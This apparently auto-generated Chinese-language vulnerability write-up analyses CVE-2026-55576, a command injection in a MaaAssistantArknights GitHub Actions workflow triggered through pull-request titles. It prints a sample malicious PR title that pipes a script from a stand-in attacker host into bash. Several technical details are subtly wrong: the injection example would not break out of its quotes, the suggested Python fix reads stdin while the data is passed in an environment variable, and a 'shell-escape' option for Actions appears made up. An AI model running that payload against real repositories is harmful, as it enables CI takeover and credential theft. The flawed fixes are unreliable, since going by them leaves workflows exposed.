🟠 高危 | CVE-2026-55576 — MaaAssistantArknights is a one-click tool for dail...
🟠 【深度分析】高危安全漏洞:CVE-2026-55576
CVSS 评分: 高危(8.8)🟠 状态: Deferred 发布时间: 2026-07-15
🔍 技术细节速览
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2026-55576 |
| CVSS 评分 | 8.8 🟠 |
| 严重程度 | 高危 |
| CVSS 向量 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X |
| CWE 分类 | CWE-78,CWE-94 |
| 发布时间 | 2026-07-15 |
| 最后更新 | 2026-07-18 |
| 状态 | Deferred |
| 数据来源 | security-advisories@github.com |
⚠️ CVSS 4.0 评分: 8.8(高危)
攻击向量 (AV): 网络 (N) | 攻击复杂度 (AC): 低 (L) | 所需权限 (PR): 无 (N) | 用户交互 (UI): 无 (N)
影响范围: 机密性低 (L) | 完整性高 (H) | 可用性低 (L)
漏洞概述
CVE-2026-55576 是一个存在于 MaaAssistantArknights(一款《明日方舟》日常任务自动化工具)开发分支 dev-v2 中的 命令注入漏洞。该漏洞源于 CI/CD 工作流配置不当,导致攻击者可通过构造恶意的 GitHub Pull Request(PR)标题 在 CI runner 上执行任意系统命令。
该漏洞被评为高危(CVSS 8.8),利用条件极低——无需认证、无需用户交互、攻击复杂度低,且攻击向量为网络。一旦成功利用,攻击者可完全控制 CI runner 环境,可能导致源代码泄露、凭据窃取、恶意代码注入等严重后果。
受影响组件与版本
- 组件: MaaAssistantArknights
- 受影响分支:
dev-v2分支 - 受影响工作流:
.github/workflows/release-preparation.yml - 受影响事件:
pull_request的opened,reopened,ready_for_review事件 - 安全修复版本:
commit cafc3946059e6337d2089d4fec8b6885ba17c332及之后版本
注意: 该漏洞仅存在于开发分支,未明确影响 release 版本。但鉴于 CI/CD 环境常与主仓库共享敏感凭据,即使开发分支也可能对生产安全构成威胁。
漏洞原理分析
技术成因
漏洞根因位于 .github/workflows/release-preparation.yml 工作流中的 generate-changelog 任务。该工作流监听 pull_request 的 opened, reopened, ready_for_review 事件,并在触发时执行一个 run: shell 命令。
关键问题出在 不安全的数据拼接。工作流将 github.event.pull_request.title(即 PR 标题)直接嵌入到 shell 命令字符串中,而未进行任何转义或参数化处理。根据漏洞描述,它仅对 非 Draft、标题以 "Release v" 开头的 Fork PR 触发。
例如,一个简化的工作流片段可能类似:
- name: Generate changelog
run: |
echo "Title: ${{ github.event.pull_request.title }}" > changelog.md
# ... 其他处理
当 TR 标题为 Release v1.0 时,命令正常执行。但如果攻击者提交一个标题为 Release v1.0; curl http://attacker.com/steal.sh | bash ; 的 PR,则 ${{ }} 插值后的 shell 命令变为:
echo "Title: Release v1.0; curl http://attacker.com/steal.sh | bash ;" > changelog.md
由于反引号或双引号未正确处理,攻击者可以 逃逸出字符串上下文,注入任意 shell 命令。在 GitHub Actions runner 默认的 sh shell 中,;、|、&、$() 等特殊字符均可用于命令注入。
CWE 关联
- CWE-78: OS Command Injection(操作系统命令注入)— 直接证据,shell 命令拼接未过滤。
- CWE-94: Improper Control of Generation of Code (Code Injection) — 广义代码注入,通过输入控制命令结构。
这是一个典型的 CI/CD 管道安全漏洞,属于供应链安全中的“上游依赖注入”攻击。攻击者通过 fork 仓库并提交恶意 PR,即可在维护者的 CI runner 上执行代码。
攻击条件
- 仓库启用了
pull_request事件的opened/reopened/ready_for_review触发器。 - 工作流使用
${{ github.event.pull_request.title }}未经安全处理。 - 攻击者需要提交一个 非 Draft 且 标题以 "Release v" 开头 的 Fork PR。
- CI runner 具有 Ubuntu-latest 操作系统(默认环境),且可能拥有
GITHUB_TOKEN或仓库 secrets。
影响评估
攻击复杂度(AC: L)
漏洞利用不需要复杂的技术知识。攻击者只需理解基本的 shell 命令注入语法,并通过 GitHub API 或 web 界面提交一个结构特殊的 PR 标题即可。
所需权限(PR: N)
攻击者无需任何仓库写入权限,只需一个 GitHub 账号即可 fork 并提交 PR。这是公开仓库的默认权限设置。
用户交互(UI: N)
无需受害者(仓库维护者)点击链接或执行操作。当 PR 提交后,GitHub Actions 会自动触发工作流,攻击直接生效。
潜在后果
| 影响维度 | 严重程度 | 解释 |
|---|---|---|
| 完整性 | 高 (H) | 攻击者可修改 runner 上的文件,包括代码、配置文件、日志等。 |
| 机密性 | 低 (L) | runner 可能包含 GITHUB_TOKEN(具有仓库读写权限)或其他 secrets,导致代码泄露。 |
| 可用性 | 低 (L) | 攻击者可运行消耗资源的任务导致 runner 挂起或无法释放。 |
| 供应链安全 | 极高 | 攻击者可注入恶意代码到 release artifacts,影响下游用户。 |
特别风险: 由于工作流触发于 pull_request 事件且非 pull_request_target,通常 fork PR 不能直接访问仓库 secrets(如 GH_TOKEN 等第三方密钥)。但 GitHub Actions 默认的 GITHUB_TOKEN 仍然可用,且可能具有 contents: write 权限。因此,攻击者可以通过修改 runner 上的 dist/ 目录或篡改 changelog 文件,实现对 release 流程的污染。
修复建议
官方修复
项目已通过提交 cafc3946059e6337d2089d4fec8b6885ba17c332 修复此漏洞。建议所有使用 dev-v2 分支的用户:
- 升级到最新版本:将工作流文件同步到包含该 commit 的版本。
- 检查分支状态:如果是 fork 项目,从上游仓库拉取最新变更。
手动修复措施
如果无法立即应用补丁,可采取以下临时缓解措施:
1. 使用 || 和 && 替代 ; 分离命令(不推荐,仍有风险)
2. 对用户输入进行严格过滤(推荐)
在工作流中使用 GitHub Actions 的 env 上下文或 ${{ }} 表达式时,确保用双引号包裹变量,并对特殊字符进行转义:
- name: Generate changelog
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: |
# 使用 env 变量,shell 会保留引号,但还不够安全
echo "Title: ${PR_TITLE}" > changelog.md
更安全的做法: 使用 Python 或 Node.js 脚本处理输入,避免直接 shell 拼接。
- name: Generate changelog
run: |
python3 -c "
import sys, json
data = json.loads(sys.stdin.read())
title = data['pull_request']['title']
# 进一步消毒 title
with open('changelog.md', 'w') as f:
f.write(f'Title: {title}')
"
env:
EVENT_JSON: ${{ toJSON(github.event) }}
3. 限制工作流触发器(推荐)
仅在特定事件(如 push 到 main 或 release 分支)上运行敏感工作流,避免在 PR 事件中处理用户输入。
4. 使用 pull_request_target 但做隔离(谨慎)
如果必须使用 pull_request_target(可访问 secrets),请确保工作流脚本完全不受 PR 上下文输入影响,并使用固定的 checkout commit。
参考资料
- CVE 详情页: https://nvd.nist.gov/vuln/detail/CVE-2026-55576
- CWE-78: OS Command Injection
- CWE-94: Code Injection
- GitHub Advisory: 本 CVE 来自
security-advisories@github.com,建议关注该仓库的 Security Advisories 页面。 - 相关案例: Ghsa Annotation 可进一步了解类似 CI/CD 注入攻击。
总结
CVE-2026-55576 是一个典型的 CI/CD 自动化工作流中的命令注入漏洞,攻击者可以通过提交一个带有恶意标题的 Pull Request 在维护者的 CI runner 上执行任意代码。虽然该漏洞仅影响 dev-v2 分支,但其所处的 CI 环境可能访问到仓库的敏感资源,因此应当优先修复。
安全实践提示:
- 始终对用户输入(包括 PR 标题、评论、分支名等)进行参数化处理或严格过滤。
- 避免在
pull_request事件中直接拼接用户输入到 shell 命令中。 - 定期审查 GitHub Actions 工作流配置,使用
env上下文代替直接插值。 - 考虑使用 GitHub Actions 的
--shell-escape选项 或外部脚本语言处理输入。